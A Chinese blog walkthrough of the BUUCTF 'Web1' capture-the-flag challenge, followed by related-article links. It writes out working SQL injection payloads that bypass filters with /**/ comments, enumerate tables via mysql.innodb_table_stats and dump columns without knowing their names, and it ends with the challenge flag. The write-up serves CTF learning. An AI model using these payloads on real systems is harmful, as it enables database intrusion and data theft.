当前位置: 首页 > ai >正文

BUUCTF——Web1

BUUCTF——Web1

进入靶场

在这里插入图片描述

一个登录页面

尝试弱口令登录一下

在这里插入图片描述

弱口令和万能密码都不行

有个注册按钮

点进去看看

在这里插入图片描述

看看admin账号能不能注册

在这里插入图片描述

基本确定待会儿要越权admin账号

随便注册了个账号登录进来

在这里插入图片描述

有个申请发布广告点击试试

在这里插入图片描述

点击申请

在这里插入图片描述

没有过滤xss,但是也没什么用

看看其他地方

还是申请发布广告 在标题中尝试sql注入

order by 3--+

提示敏感信息给我过滤掉了

尝试一下注入点

在这里插入图片描述

在这里插入图片描述

发现是用单引号闭合

输入 and or提示敏感信息

1' 1 = 1

空格也被过滤掉了

在这里插入图片描述

--+#也不能用

空格可以用/**/内联注释绕过

--+#也能用单引号绕过

构造payload

-1'/**/union/**/select/**/1,2,3/**/'

在这里插入图片描述

在这里插入图片描述

提示字段数不一致,那就多加几个慢慢猜

一个一个尝试

最后在22字段尝试成功

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

在这里插入图片描述

发现只显示2和3字段

构造payload

-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

爆库

在这里插入图片描述

爆表

-1'/**/union/**/select/**/1,database(),group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

结果说有敏感信息过滤了

那就换一种方法

1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'

在这里插入图片描述

1'union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

在这里插入图片描述

1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

在这里插入图片描述

拿到flag

flag{4acdce77-7fc4-40b7-bfe5-b75f276304eb}

下播!!!!!

在这里插入图片描述

http://www.xdnf.cn/news/7911.html

相关文章:

  • 第十节第四部分:常见API:秒杀案例、Calendar
  • 学习黑客了解5分钟了解中间人攻击(MITM)
  • 软件的技术架构、应用架构、业务架构、数据架构、部署架构
  • Nginx核心功能深度解析与实战指南
  • Java基础 集合框架 Map接口和抽象类AbstractMap
  • Java 代码生成工具:如何快速构建项目骨架?
  • Redis队列与Pub/Sub方案全解析:原理、对比与实战性能测试
  • 基于MDX的在线文档实时编译方案
  • 工程项目进度如何做到精细化管控?
  • 项目时间紧迫的高效应对策略
  • C++日志
  • DDR中Geardown Mode理解/2N模式理解
  • 【鸿蒙开发】Hi3861学习笔记-DHT11温湿度传感器
  • Cmake 使用教程
  • 【免费分享】上百个网站整合到一个工具当中来使用,并且支持自定义添加
  • 充电桩APP的数据分析:如何用大数据优化运营?
  • 中电金信与上海华瑞银行、复旦大学金融科技研究院签署合作备忘录
  • DeepSeek 提示词大全
  • 在Settings的一级菜单中增加一个选项
  • TYUT-企业级开发教程-第9章
  • python06——组合数据类型
  • 3D Gaussian Splatting for Real-Time Radiance Field Rendering——文章方法精解
  • UML基本概念:构造块、公共机制与规则
  • 45页 @《人工智能生命体 新启点》中國龍 原创连载
  • 智能共享充电桩软件系智能共享充电桩软件系统:如何一站式定制解决方案?
  • 运维Web服务器核心知识与实战指南
  • 算法打卡第三天
  • 【算法】滑动窗口(细节探究,易错解析)5.21
  • Baklib知识中台驱动智能服务创新
  • AbMole| Ferrostatin-1(25322-68-3,M2698,铁抑素-1)